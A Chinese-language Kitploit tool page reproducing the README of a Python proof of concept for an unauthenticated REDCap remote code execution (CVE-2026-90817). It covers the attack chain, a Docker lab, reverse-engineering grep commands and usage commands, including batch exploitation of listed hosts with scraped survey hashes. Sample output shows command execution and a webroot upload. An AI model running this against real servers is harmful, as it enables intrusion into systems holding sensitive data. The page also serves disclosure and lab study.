Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-90817 — Python PoC,用于 CVE-2026-90817,一个通过调查透传路由和文件路径注入实现的未认证 REDCap RCE,附带 Docker 实验环境和受允许列表保护的目标。 | Kitploit
工具/GitHubGitHub/exdev994/cve-2026-90817
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队远程访问工具Payload 开发实验室与实践
GitHubexdev994/cve-2026-90817

CVE-2026-90817

Python PoC,用于 CVE-2026-90817,一个通过调查透传路由和文件路径注入实现的未认证 REDCap RCE,附带 Docker 实验环境和受允许列表保护的目标。

查看仓库
7小时50分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-90817 — REDCap 未认证 RCE PoC(仅限授权使用)

仅限授权使用。 您需对每个目标的法律授权负责。未经授权对第三方 REDCap 实例使用属违法行为。

漏洞摘要

字段值
CVECVE-2026-90817
产品Vanderbilt University REDCap
CVSS9.8 严重
认证未认证(需要有效的公开调查哈希)
受影响REDCap 13.3.0 及更高版本
修复16.0.49 LTS、17.3.10 LTS、17.4.4 标准版
CWECWE-73(文件名或路径的外部控制)、CWE-94(代码注入)

攻击链:

  1. 从 REDCap 实例获取有效的公开调查哈希。
  2. 操纵 HTTP 请求,通过调查透传路由到达非预期的控制器路由。
  3. 在数据导入处理期间提供构造的文件路径/流参数。
  4. 在 REDCap 服务器上实现远程代码执行。

项目结构

root@kitploit:~
CVE-2026-90817/
├── poc_cve_2026_90817.py   # PoC(单目标,allowlist 防护)
├── docker-compose.yml       # MySQL + PHP-Apache 实验环境
├── redcap-init/
│   ├── database.php         # 实验环境 REDCap 数据库配置
│   └── php.ini              # 实验环境 PHP 设置
├── redcap-src/              # <-- 在此处解压 REDCap 源码(由您提供)
├── targets.txt              # 授权目标:每行一个主机
├── payload.txt              # 上传模式示例文件
├── requirements.txt         # Python 依赖
└── poc_results.txt          # PoC 运行后生成

前置条件

  • Docker 和 Docker Compose
  • Python 3.9+
  • 来自 Vanderbilt REDCap 联盟 的 REDCap 源码 zip(存在漏洞的版本,例如 14.x 或 15.x)

REDCap 是授权软件。您必须通过官方渠道为您的实验环境获取。

实验环境搭建

1. 解压 REDCap 源码

root@kitploit:~
mkdir -p redcap-src
# Extract your redcap.zip contents into redcap-src/
# The directory should contain index.php, redcap_vX.X.X/, etc.

2. 启动实验环境

root@kitploit:~
docker compose up -d

等待 MySQL 健康检查通过,然后打开:

root@kitploit:~
http://localhost:8080

使用以下数据库设置完成 REDCap 安装向导(已在 redcap-init/database.php 中预配置):

设置值
Hostdb
Databaseredcap
Userredcap
Passwordredcap123

3. 创建公开调查

  1. 以管理员身份登录 REDCap。
  2. 创建新项目。
  3. 启用“在此项目中使用调查”。
  4. 打开公开调查链接,从 URL 中复制哈希(参数 s=)。

调查 URL 示例:

root@kitploit:~
http://localhost:8080/surveys/?s=ABC123XYZ

调查哈希:ABC123XYZ

逆向工程(填写占位符)

公开公告未披露确切的控制器路由或参数名称。搭建实验环境后,对 redcap-src/ 进行逆向工程,并填写 poc_cve_2026_90817.py 中的 TODO 常量:

root@kitploit:~
VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE"   # controller route via survey passthrough
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM"     # file-path/stream parameter name
WEBROOT_PATH = "/var/www/html/redcap/"       # webroot inside container
UPLOADER_NAME = "x.php"                      # PHP uploader filename

逆向工程指引

搜索调查透传路由:

root@kitploit:~
grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50

搜索数据导入文件路径/流处理:

root@kitploit:~
grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50

将 STAGE1_SUCCESS_MARKER 设置为成功的第一阶段响应中存在的字符串(可选但推荐)。

安装 Python 依赖

root@kitploit:~
pip install -r requirements.txt

运行 PoC

该脚本会拒绝既非实验主机(localhost、127.0.0.1、::1、*.local、*.test、*.localhost)也未列于 targets.txt 中的目标。

调查哈希

CVE-2026-90817 是未认证的——无需登录。唯一前提是有效的公开调查哈希(来自调查 URL ?s=HASH)。

该工具可以通过抓取目标的公开页面自动发现调查哈希(尽力而为)。它会检查常见的 REDCap 端点(/、/redcap/、/index.php、/surveys/)以查找 /surveys/?s=HASH 链接。这仅在目标公开暴露调查链接(配置错误)时有效。对于配置正确的 REDCap 实例,请通过 --hash 手动提供哈希。

  • 单目标模式:--hash 可选(省略时自动发现)
  • 批量模式:按目标自动发现;不暴露调查链接的目标将被跳过

授权目标(非实验环境)

对于非实验目标,创建 targets.txt,每行一个主机(FQDN 或 IP)。您需对所列每个主机的法律授权负责。

root@kitploit:~
# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100

示例

带显式哈希的实验目标:

root@kitploit:~
python poc_cve_2026_90817.py \
  --target http://localhost:8080 \
  --hash ABC123XYZ \
  --mode both \
  --out poc_results.txt

带自动发现哈希的实验目标:

root@kitploit:~
python poc_cve_2026_90817.py \
  --target http://localhost:8080 \
  --mode both \
  --out poc_results.txt

批量模式(遍历 targets.txt 中的所有主机)

添加 --batch 以自动利用 targets.txt 中列出的每个主机。该工具通过抓取公开页面按目标自动发现调查哈希。该工具会打印所有目标并在开始前请求确认(使用 --yes 跳过提示以便脚本化)。

root@kitploit:~
python poc_cve_2026_90817.py \
  --batch \
  --mode both \
  --out poc_results.txt

端口继承自 --target(默认 8080)。要使用不同端口,请在 --batch 之前设置 --target http://placeholder:443/。

每个目标的结果会追加到输出文件。最后打印摘要:N success, M failed, T total。

参数

参数默认值描述
--targethttp://localhost:8080目标基础 URL
--hash(可选)公开调查哈希。若省略,则通过抓取公开页面自动发现(尽力而为)。
--allowlisttargets.txt目标文件,每行一个主机
--batch关闭遍历目标文件中的所有主机并逐一利用
--yes关闭跳过批量确认提示
--modebothid、upload 或 both
--outpoc_results.txt结果日志文件
--timeout30HTTP 超时(秒)
--upload-localpayload.txt要上传的本地文件
--upload-remoteuploaded_payload.txtwebroot 下的远程文件名
--skip-placeholder-check关闭在未填写 TODO 常量的情况下试运行 HTTP 流程

注意:自动发现仅适用于公开暴露调查链接的目标。对于大多数 REDCap 实例,请手动提供 --hash。

预期输出

成功时,stdout 显示:

root@kitploit:~
[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt

结果会追加到 poc_results.txt:

root@kitploit:~
[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------

缓解措施

升级到 REDCap 16.0.49 LTS、17.3.10 LTS 或 17.4.4 标准版(视适用情况而定)。

额外加固:

  • 在不需要的地方限制公开调查暴露。
  • 监控针对调查路由和数据导入端点的 HTTP 请求。
  • 审查导入处理程序中文件路径/流参数的服务器端验证。

参考

  • CVE-2026-90817 (CVE.org)
  • Securifera Advisories
  • 发现者:Ryan Wincey (@rwincey, Securifera)
下载工具